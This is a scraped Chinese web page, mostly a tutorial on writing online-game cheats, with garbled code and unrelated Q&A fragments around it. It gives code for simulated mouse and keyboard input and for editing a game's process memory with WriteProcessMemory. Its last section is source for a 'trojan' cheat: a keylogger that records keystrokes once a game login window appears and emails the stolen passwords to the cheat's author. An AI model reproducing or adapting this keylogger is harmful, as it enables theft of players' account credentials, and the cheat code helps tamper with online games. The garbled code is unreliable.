游戏制作都是怎么制作出来的?谁能介绍一下

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微信扫一扫关注下载吧公共帐号网络游戏外挂是怎么制作出来的?
外挂无非分以下几种(依制作难度):
1、动作式,所谓动作式,就是指用API发命令给窗口或API控制鼠标、键盘等,使游戏里的人物进行流动或者攻击,最早以前的“石器”外挂就是这种方式
本地修改式,这种外挂跟传统上的一些游戏修改器没有两样,做这种外挂在编程只需要对内存地址有一点认识并且掌握API就可以实现,它的难点在于找到那些地
址码,找地址一般地要借助于别人的工具,有的游戏还有双码校验,正正找起来会比较困难。这种外挂&需要有对内存地址的理解及应用能力
3、木马式,这种外挂的目的是帮外挂制作者偷到用户的密码,做这种外挂有一定的难度,需要HOOK或键盘监视技术做底子,才可以完成,它的原理是先首截了用户的帐号或密码,然后发到指定邮箱
4、加速式,这种外挂可以加快游戏的速度
5、封包式,这种外挂是高难度外挂,需要有很强的编程功力才可以写得出来。它的原理是先截取封包,后修改,再转发。这种外挂适用于大多数网络游戏,像WPE及一些网络游戏外挂都是用这种方式写成的,编写这种外挂需要apihook技术,winsock技术
  这几种外挂之中,用VC等底层支持比较好的编程工具才好实现。
外挂制作(由浅至深):
先,先来谈一下动作式的外挂,这是最简单的一种。记得还在“石器”时代的时候,我看到别人挂着一种软件(外挂)人物就可以四外游走(当时我还不知道外挂怎
么回事^_^),于是找了这种软件过来研究(拿来后才听别人说这叫外挂),发现这种东东其实实现起来并不难,仔佃看其实人物的行走无非就是鼠标在不同的地
方点来点去而已,看后就有实现这功能的冲动,随后跑到MSDN上看了一些资料,发现这种实现这几个功能,只需要几个简单的API函数就可以搞定:
1、首先我们要知道现在鼠标的位置(为了好还原现在鼠标的位置)所以我们就要用到API函数GetCursorPos,它的使用方法如下:
BOOL&GetCursorPos(&LPPOINT&lpPoint&//&address&of&structure&for&cursor&position&);
2、我们把鼠标的位置移到要到人物走到的地方,我们就要用到SetCursorPos函数来移动鼠标位置,它的使用方法如下:
BOOL&SetCursorPos(
int&X,&//&horizontal&position&
int&Y&//&vertical&position
3、模拟鼠标发出按下和放开的动作,我们要用到mouse_event函数来实现,具休使用方法用下:
VOID&mouse_event(
DWORD&dwFlags,&//&flags&specifying&various&motion/click&variants
DWORD&dx,&//&horizontal&mouse&position&or&position&change
DWORD&dy,&//&vertical&mouse&position&or&position&change
DWORD&dwData,&//&amount&of&wheel&movement
DWORD&dwExtraInfo&//&32&bits&of&application-defined&information
在它的dwFlags处,可用的事件很多如移动MOUSEEVENTF_MOVE,左键按下MOUSEEVENTF_LEFTDOWN,左键放开MOUSEEVENTF_LEFTUP,具体的东东还是查一下MSDN吧~~~~~
好了,有了以前的知识,我们就可以来看看人物移走是怎么实现的了:
getcursorpos(point);
setcursorpos(ranpoint(80,windowX),ranpoint(80,windowY));//ranpoint是个自制的随机坐标函数
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
setcursorpos(point.x,point.y);
了以上的代码,是不是觉得人物的游走很简单啦~~,举一仿三,还有好多好东东可以用这个技巧实现,接下来,再看看游戏里面自动攻击的做法吧(必需游戏中攻
击支持快捷键的),道理还是一样的,只是用的API不同罢了~~~,这回我们要用到的是keybd_event函数,其用法如下:
VOID&keybd_event(
BYTE&bVk,&//&virtual-key&code
BYTE&bScan,&//&hardware&scan&code
DWORD&dwFlags,&//&flags&specifying&various&function&options
DWORD&dwExtraInfo&//&additional&data&associated&with&keystroke
我们还要知道扫描码不可以直接使用,要用函数MapVirtualKey把键值转成扫描码,MapVirtualKey的具体使用方法如下:
UINT&MapVirtualKey(
UINT&uCode,&//&virtual-key&code&or&scan&code
UINT&uMapType&//&translation&to&perform
好了,比说此快接键是CTRL+A,接下来让我们看看实际代码是怎么写的:
keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),0,0);
keybd_event(65,mapvirtualkey(65,0),0,0);
keybd_event(65,mapvirtualkey(65,0),keyeventf_keyup,0);
keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),keyeventf_keyup,0);
首先模拟按下了CTRL键,再模拟按下A键,再模拟放开A键,最后放开CTRL键,这就是一个模拟按快捷键的周期。
本地修改式外挂的整个制作过程进行一个详细的分解。
我所知,本地修改式外挂最典型的应用就是在“精灵”游戏上面,因为我在近一年前(“精灵”还在测试阶段),我看了一下游戏的数据处理方式,发现它所发送到
服务器上的信息是存在于内存当中(我看后第一个感受是:修改这种游戏和修改单机版的游戏没有多大分别,换句话说就是在他向服务器提交信息之前修改了内存地
址就可以了),当时我找到了地址于是修改了内存地址,果然,按我的想法修改了地址,让系统自动提交后,果然成功了~~~~~,后来“精灵”又改成了双地址
校检,内存校检等等,在这里我就不废话了~~~~,OK,我们就来看看这类外挂是如何制作的:
在做外挂之前我们要对Windows的内存
有个具体的认识,而在这里我们所指的内存是指系统的内存偏移量,也就是相对内存,而我们所要对其进行修改,那么我们要对几个Windows&API进行了
解,OK,跟着例子让我们看清楚这种外挂的制作和API的应用(为了保证网络游戏的正常运行,我就不把找内存地址的方法详细解说了):
1、首先我们要用FindWindow,知道游戏窗口的句柄,因为我们要通过它来得知游戏的运行后所在进程的ID,下面就是FindWindow的用法:
HWND&FindWindow(
LPCTSTR&lpClassName,&//&pointer&to&class&name
LPCTSTR&lpWindowName&//&pointer&to&window&name
2、我们GetWindowThreadProcessId来得到游戏窗口相对应进程的进程ID,函数用法如下:
DWORD&GetWindowThreadProcessId(
HWND&hWnd,&//&handle&of&window
LPDWORD&lpdwProcessId&//&address&of&variable&for&process&identifier
3、得到游戏进程ID后,接下来的事是要以最高权限打开进程,所用到的函数OpenProcess的具体使用方法如下:
HANDLE&OpenProcess(
DWORD&dwDesiredAccess,&//&access&flag&
BOOL&bInheritHandle,&//&handle&inheritance&flag&
DWORD&dwProcessId&//&process&identifier&
在dwDesiredAccess之处就是设存取方式的地方,它可设的权限很多,我们在这里使用只要使用PROCESS_ALL_ACCESS&来打开进程就可以,其他的方式我们可以查一下MSDN。
打开进程后,我们就可以用函数对存内进行操作,在这里我们只要用到WriteProcessMemory来对内存地址写入数据即可(其他的操作方式比如
说:ReadProcessMemory等,我在这里就不一一介绍了),我们看一下WriteProcessMemory的用法:
BOOL&WriteProcessMemory(
HANDLE&hProcess,&//&handle&to&process&whose&memory&is&written&to&
LPVOID&lpBaseAddress,&//&address&to&start&writing&to&
LPVOID&lpBuffer,&//&pointer&to&buffer&to&write&data&to
DWORD&nSize,&//&number&of&bytes&to&write
LPDWORD&lpNumberOfBytesWritten&//&actual&number&of&bytes&written&
5、下面用CloseHandle关闭进程句柄就完成了。
这就是这类游戏外挂的程序实现部份的方法,好了,有了此方法,我们就有了理性的认识,我们看看实际例子,提升一下我们的感性认识吧,下面就是XX游戏的外挂代码,我们照上面的方法对应去研究一下吧:
ResourceOffset:&dword&=&$;
resource:&dword&=&;
ResourceOffset1:&dword&=&$;
resource1:&dword&=&;
ResourceOffset2:&dword&=&$0043FA50;
resource2:&dword&=&1280185;
ResourceOffset3:&dword&=&$0043FA54;
resource3:&dword&=&;
ResourceOffset4:&dword&=&$0043FA58;
resource4:&dword&=&;
hw&:=&FindWindow('XX',&nil);
if&hw&=&0&then
GetWindowThreadProcessId(hw,&@pid);
h&:=&OpenProcess(PROCESS_ALL_ACCESS,&false,&pid);
if&h&=&0&then
if&flatcheckbox1.Checked=true&then
WriteProcessMemory(h,&Pointer(ResourceOffset),&@Resource,&sizeof(Resource),&tt);
WriteProcessMemory(h,&Pointer(ResourceOffset1),&@Resource1,&sizeof(Resource1),&tt);
if&flatcheckbox2.Checked=true&then
WriteProcessMemory(h,&Pointer(ResourceOffset2),&@Resource2,&sizeof(Resource2),&tt);
WriteProcessMemory(h,&Pointer(ResourceOffset3),&@Resource3,&sizeof(Resource3),&tt);
WriteProcessMemory(h,&Pointer(ResourceOffset4),&@Resource4,&sizeof(Resource4),&tt);
MessageBeep(0);
CloseHandle(h);
这个游戏是用了多地址对所要提交的数据进行了校验,所以说这类游戏外挂制作并不是很难,最难的是要找到这些地址。
前介绍过的动作式,本地修改式外挂是真正意义上的外挂,而今天本文要介绍的木马式外挂,可能大多像木马吧,是帮助做外挂的人偷取别人游戏的帐号及密码的东
东。因为网络上有此类外挂的存在。要做此类外挂的程序实现方法很多(比如HOOK,键盘监视等技术),因为HOOK技术对程序员的技术要求比较高并且在实
际应用上需要多带一个动态链接库,所以在文中我会以键盘监视技术来实现此类木马的制作。键盘监视技术只需要一个.exe文件就能实现做到后台键盘监视,这
个程序用这种技术来实现比较适合。
在做程序之前我们必需要了解一下程序的思路:
1、我们首先知道你想记录游戏的登录窗口名称。
2、判断登录窗口是否出现。
3、如果登录窗口出现,就记录键盘。
4、当窗口关闭时,把记录信息,通过邮件发送到程序设计者的邮箱。
第一点我就不具体分析了,因为你们比我还要了解你们玩的是什么游戏,登录窗口名称是什么。从第二点开始,我们就开始这类外挂的程序实现之旅:
那么我们要怎么样判断登录窗口虽否出现呢?其实这个很简单,我们用FindWindow函数就可以很轻松的实现了:
HWND&FindWindow(
LPCTSTR&lpClassName,&//&pointer&to&class&name
LPCTSTR&lpWindowName&//&pointer&to&window&name
实际程序实现中,我们要找到'xx'窗口,就用FindWindow(nil,'xx')如果当返回值大于0时表示窗口已经出现,那么我们就可以对键盘信息进行记录了。
先首我们用SetWindowsHookEx设置监视日志,而该函数的用法如下:
HHOOK&SetWindowsHookEx(
int&idHook,&//&type&of&hook&to&install
HOOKPROC&lpfn,&//&address&of&hook&procedure
HINSTANCE&hMod,&//&handle&of&application&instance
DWORD&dwThreadId&//&identity&of&thread&to&install&hook&for&
在这里要说明的是在我们程序当中我们要对HOOKPROC这里我们要通过写一个函数,来实现而HINSTANCE这里我们直接用本程序的HINSTANCE就可以了,具体实现方法为:
hHook&:=&SetWindowsHookEx(WH_JOURNALRECORD,&HookProc,&Hinstance,&0);&
而HOOKPROC里的函数就要复杂一点点:
function&HookProc(iCode:&&wParam:&wP&lParam:&lParam):&L&&
if&findedtitle&then&//如果发现窗口后
if&(peventmsg(lparam)^.message&=&WM_KEYDOWN)&then&//消息等于键盘按下
hookkey&:=&hookkey&+&Form1.Keyhookresult(peventMsg(lparam)^.paramL,&peventmsg(lparam)^.paramH);&//
通过keyhookresult(自定义的函数,主要功能是转换截获的消息参数为按键名称。我会在文章尾附上转化函数的)转换消息。
If&length(hookkey)&&&0&then&//如果获得按键名称
Write(hookkeyFile,hookkey);&//把按键名称写入文本文件
hookkey&:=&'';&
以上就是记录键盘的整个过程,简单吧,如果记录完可不要忘记释放呀,UnHookWindowsHookEx(hHook),而Hhook,就是创建setwindowshookex后所返回的句柄。
我们已经得到了键盘的记录,那么现在最后只要把记录的这些信息发送回来,我们就大功造成了。其他发送这块并不是很难,只要把记录从文本文件里边读出来,用DELPHI自带的电子邮件组件发一下就万事OK了。代码如下:
assignfile(ReadFile,'hook.txt');&//打开hook.txt这个文本文件
reset(ReadFile);&//设为读取方式
While&not&Eof(ReadFile)&do&//当没有读到文件尾
Readln(ReadFile,s,j);&//读取文件行
body:=body+s;&
closefile(ReadFile);&//关闭文件
nmsmtp1.EncodeType:=uuM&//设置编码
nmsmtp1.PostMessage.Attachments.Text:='';&//设置附件
nmsmtp1.PostMessage.FromAddress:='';&//设置源邮件地址
nmsmtp1.PostMessage.ToAddress.Text:='';&/设置目标邮件地址
nmsmtp1.PostMessage.Body.Text:='密码'+'&'+&//设置邮件内容
nmsmtp1.PostMessage.Subject:='password';&//设置邮件标题
nmsmtp1.SendM&//发送邮件
这个程序全部功能已经实现,编编试试~~~对了,我以前写的类似的作品可以在上找得到。
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&2013 Baidu神途游戏哪个做得比较好,画面比较唯美可玩性高?
神途游戏哪个做得比较好,画面比较唯美可玩性高?
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